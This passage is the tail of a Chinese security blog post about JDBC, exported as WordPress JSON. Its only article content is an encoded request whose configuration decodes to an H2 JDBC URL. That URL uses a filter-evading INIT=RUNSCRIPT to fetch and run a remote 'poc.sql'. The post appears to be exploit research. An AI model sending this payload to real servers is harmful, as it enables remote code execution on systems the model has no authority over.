    {\"id\":\"\",\"name\":\"a\",\"description\":\"\",\"type\":\"h2\",\"configuration\":\"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lcXE5JVD1SXFxVTlNDUklQVCBGUk9NICdodHRwOi8vMTI3LjAuMC4xOjUwMDI1L3BvYy5zcWwnIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwicGFzc3dvcmQiOiIxMjMiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwfQ==\"}<\/pre>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    <\/p>\n","protected":false},"excerpt":{"rendered":"
    JDBC\u7b80\u4ecb JDBC\uff08Java Database Connectivity\uff09\u662f Java \u8bed\u8a00\u4e2d\u8bbf\u95ee\u6570\u636e\u5e93\u7684 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3830","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3830","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=3830"}],"version-history":[{"count":2,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3830\/revisions"}],"predecessor-version":[{"id":3832,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3830\/revisions\/3832"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=3830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=3830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=3830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}